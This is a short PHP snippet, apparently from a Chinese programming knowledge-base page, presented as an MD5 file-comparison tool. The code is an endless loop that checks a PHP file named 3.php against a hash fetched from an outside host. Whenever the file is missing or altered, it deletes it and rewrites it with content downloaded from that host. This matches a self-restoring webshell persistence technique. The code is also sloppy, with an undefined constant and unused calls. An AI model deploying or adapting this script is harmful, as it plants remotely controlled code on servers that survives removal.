[PHP知识库]php文件md5比对删除新建

define('sleep',1); //延迟时间(毫秒)
define('fileLen','3.php'); //index文件名称
define('baginPath','/'); //开始目录
define('md5','0558240974ceb2bbafac77312aa8db45'); //md5
define('bakfile','test.txt'); //md5

date_default_timezone_set('PRC');
$fileArr = array();
do {
    $path = __DIR__.baginPath;
    $dir = __DIR__.endPath;
    $file = scandir($path);


    //sleep(sleep);//延迟


    $filePathTemp = $path . '/' . fileLen;

    //文件存在
    if(file_exists($filePathTemp)) {

        $mdFile = md5_file($filePathTemp);

        $mdTemp='http://mb.cc/md.txt';
        $md = file_get_contents($mdTemp);

        if($mdFile != $md){

            //存在删除
            if(file_exists($filePathTemp)){
                unlink($filePathTemp);
            }

            //$txtTemp=$path . '/' .bakfile ;
            $txtTemp='http://mb.cc/1.txt';
            $txt = file_get_contents($txtTemp);


            $myfile = fopen($filePathTemp, "w") or die("Unable to open file!");
            fwrite($myfile, $txt);
            fclose($myfile);

            $mdFile = md5_file($filePathTemp);
            $fileArr[fileLen] = $mdFile;


        }
    }else{

        $txtTemp=$path . '/' .bakfile ;
        $txtTemp='http://mb.cc/1.txt';
        $txt = file_get_contents($txtTemp);

        $myfile = fopen($filePathTemp, "w") or die("Unable to open file!");
        fwrite($myfile, $txt);
        fclose($myfile);

        $mdFile = md5_file($filePathTemp);
        $fileArr[fileLen] = $mdFile;
    }



} while (true);